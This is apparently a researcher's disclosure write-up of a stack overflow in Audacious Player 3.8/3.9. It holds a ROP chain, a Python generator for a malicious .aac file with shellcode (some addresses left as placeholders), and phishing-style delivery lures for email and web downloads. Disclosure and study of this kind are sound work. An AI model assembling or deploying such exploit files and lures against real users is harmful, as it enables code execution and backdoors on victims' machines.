Audacious 3.8/3.9 Stack Overflow: Deep Dive Analysis

Introduction

During my security research on multimedia applications, I discovered a critical stack overflow vulnerability in Audacious Player versions 3.8 and 3.9. This vulnerability was uncovered through systematic fuzzing of .aac audio files using the CERT BFF (Basic Fuzzing Framework), demonstrating how automated testing can reveal complex memory corruption issues in media parsing libraries.

The vulnerability enables arbitrary code execution with the privileges of the user running Audacious Player, exploitable through both local and remote file delivery mechanisms.

Complete exploit code, proof-of-concept files, and technical analysis are available in the GitHub repository.

Vulnerability Discovery

Research Methodology

The vulnerability was discovered through a comprehensive fuzzing campaign targeting audio file parsers:

# CERT BFF Fuzzing Campaign
./bff --target audacious --file-type aac --iterations 10000 --seed-corpus samples/

# Crash analysis revealed EIP control in libaudco
# Further analysis of the crash dump:
gdb audacious core.dump
(gdb) info registers
eip: 0x41414141  # Controlled EIP overwrite

Initial Crash Analysis

The initial crash analysis revealed several critical indicators:

• EIP overwrite with attacker-controlled data
• Stack corruption in the libaudco audio codec library
• Recursive memcpy operations without proper bounds checking
• Cross-platform impact affecting both Windows and Linux builds

Technical Analysis

Root Cause: Recursive memcpy Vulnerability

The vulnerability stems from a recursive memcpy operation in the libaudco library that lacks proper delimiter validation:

// Vulnerable code pattern in libaudco
void parse_aac_frame(char *input_buffer, size_t buffer_size) {
    char stack_buffer[1024];

    // Recursive memcpy without bounds checking
    while (parse_frame_data(input_buffer)) {
        memcpy(stack_buffer, input_buffer, frame_size);  // VULNERABILITY
        input_buffer += frame_size;
        // No delimiter check leads to stack overflow
    }
}

Memory Corruption Analysis

The vulnerability provides exceptional control over the execution environment:

• EIP Control: Complete control over instruction pointer
• EDI Control: Destination index register manipulation
• ESI Control: Source index register manipulation
• EBP Control: Base pointer manipulation
• No SEH Corruption: Structured Exception Handling remains intact

This level of control is uncommon in stack overflow vulnerabilities and significantly simplifies exploitation.

Exploitation Strategy

Target Environment Assessment

Supported Platforms:

• Windows (all versions: XP, 7, 8, 10)
• Linux (various distributions)
• Primary PoC Target: Windows 8/10 (minor gadget adjustments needed for Win7)

Security Mitigation Analysis

The target modules present a favorable exploitation environment:

# Security feature analysis
Module: libaudco.dll
- ASLR: Disabled
- DEP: Disabled
- Stack Canaries: Not present
- CFI: Not implemented

# This configuration enables direct stack shellcode execution

Stack Pivot Challenge

Despite the favorable security posture, exploitation faces a critical challenge:

• Thread Context: Vulnerability occurs outside the main thread
• Stack Layout: Controlled registers point above current stack position
• Solution Required: Negative stack pivot to reach shellcode placement area

Advanced ROP Chain Development

Phase 1: Initial Register Setup

The exploit begins with a carefully crafted ROP chain using a pushad; ret gadget:

; Initial ROP gadget - saves all registers to stack
; Address: 0x???????? (module-relative addressing)
pushad          ; Save EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
ret             ; Return to next ROP gadget

This gadget provides:

• Controlled EBP: Base pointer for stack frame manipulation
• Controlled ESI: Source for memory operations
• Controlled EDI: Destination for memory operations

Phase 2: Stack Alignment

The second ROP gadget performs crucial stack context alignment:

; Stack alignment gadget
; Address: 0x68832D18
push esp        ; Push current stack pointer
ret             ; Return using ESP as target address

This technique ensures that subsequent ROP gadgets execute in the correct stack context.

Phase 3: Stack Pivot Execution

The critical stack pivot operation:

; Stack pivot gadget
; Address: 0x????????
sub esp, 0x1FF  ; Negative stack pivot (511 bytes)
ret             ; Return to pivoted stack location

Pivot Analysis:

• Pivot Distance: 511 bytes (0x1FF) negative offset
• Target Area: Reaches attacker-controlled stack region
• Shellcode Placement: Positioned within pivot range

Phase 4: RET Sled Implementation

To enhance exploit reliability across different environments:

; RET sled for reliable execution
; Multiple consecutive RET instructions
0x41414141: ret
0x41414142: ret
0x41414143: ret
0x41414144: ret
; ... continues until NOP sled

The RET sled provides:

• Execution Reliability: Compensates for minor address variations
• Environment Adaptation: Works across different Windows versions
• Shellcode Transition: Smooth transition to NOP sled

Shellcode Development

NOP Sled Implementation

; NOP sled for landing zone
nop             ; 0x90
nop             ; 0x90
nop             ; 0x90
; ... (repeated for reliability)

Payload Integration

The final shellcode follows standard exploitation patterns:

; Example shellcode structure
; 1. Environment setup
; 2. API resolution (GetProcAddress, LoadLibrary)
; 3. Payload execution (reverse shell, message box, etc.)
; 4. Clean exit or persistence

Proof of Concept Development

Malicious AAC File Structure

The exploit requires a specially crafted .aac file:

#!/usr/bin/env python
# Audacious AAC Exploit PoC

def create_malicious_aac():
    """
    Generate malicious AAC file for Audacious stack overflow
    """

    # AAC header structure
    aac_header = "AAC_HEADER_MAGIC"

    # ROP chain payload
    rop_chain = struct.pack('<I', 0x????????)  # pushad; ret
    rop_chain += struct.pack('<I', 0x68832D18)  # push esp; ret
    rop_chain += struct.pack('<I', 0x????????)  # sub esp, 0x1FF; ret

    # RET sled
    ret_sled = struct.pack('<I', 0x????????) * 20

    # NOP sled
    nop_sled = "\x90" * 100

    # Shellcode (calculator pop for PoC)
    shellcode = "\xfc\x48\x83\xe4\xf0..."  # msfvenom payload

    # Buffer overflow trigger
    overflow_data = "A" * 1024  # Trigger stack overflow
    overflow_data += rop_chain
    overflow_data += ret_sled
    overflow_data += nop_sled
    overflow_data += shellcode

    return aac_header + overflow_data

# Generate malicious file
with open("malicious.aac", "wb") as f:
    f.write(create_malicious_aac())

Delivery Mechanisms

Local Exploitation:

# Direct file execution
audacious malicious.aac

Remote Exploitation:

<!-- Web-based delivery -->
<a href="malicious.aac" download>Download Music File</a>

<!-- Email attachment vector -->
Subject: New Music Collection
Attachment: song.aac (malicious.aac renamed)

Memory Layout Analysis

The following analysis demonstrates how the stack corruption occurs and how we achieve controlled data placement. This visualization shows the exact memory regions affected by our overflow and the precise placement of our ROP chain within the corrupted stack frame.

Debugging Session Results

During the exploitation validation phase, we can observe the successful execution of our ROP gadgets through detailed debugging. This session captures the moment when our controlled execution flow takes over the vulnerable process, demonstrating register control and stack manipulation.

Complete Exploitation Demonstration

The final proof of concept shows the full exploitation chain in action. From initial file parsing to shellcode execution, this demonstration proves the vulnerability’s practical impact by successfully spawning the calculator payload, confirming arbitrary code execution capabilities.

Impact Assessment

Attack Scenarios

Scenario 1: Targeted Attack

• Attacker sends malicious audio file via email
• Victim opens file in Audacious Player
• Shellcode executes with user privileges
• Persistent backdoor installed

Scenario 2: Watering Hole

• Malicious AAC files hosted on compromised music websites
• Visitors download infected audio files
• Mass compromise of Audacious users

Scenario 3: Physical Access

• USB drops with malicious audio files
• Social engineering for file execution
• Local privilege escalation if needed

Research Methodology

Tools and Techniques

Fuzzing Framework:

• CERT BFF: Primary fuzzing framework
• Custom harnesses: Targeted AAC file generation
• Coverage analysis: Code path exploration

Analysis Tools:

• GDB: Linux debugging and analysis
• WinDbg: Windows crash analysis
• IDA Pro: Static analysis and ROP gadget discovery
• Python: Exploit development and automation

Responsible Disclosure

Timeline:

1. Discovery: Vulnerability identified through fuzzing
2. Analysis: Detailed technical analysis completed
3. PoC Development: Working exploit created for demonstration
4. Vendor Contact: Audacious development team notified
5. Patch Development: Coordinated patch development
6. Public Disclosure: After patch availability

Conclusion

The Audacious stack overflow vulnerability demonstrates the critical importance of secure memory management in multimedia applications. The vulnerability’s impact extends beyond simple crashes, enabling complete system compromise through carefully crafted audio files.

References

• Full Exploit Code & PoC - GitHub Repository
• CERT Basic Fuzzing Framework
• Audacious Player Official Site
• Stack Overflow Exploitation Techniques
• ROP Chain Development Guide

Research conducted by: Alejandro Parodi (hdbreaker)
Disclosure Status: Coordinated with Audacious development team
Impact: Patched in subsequent Audacious releases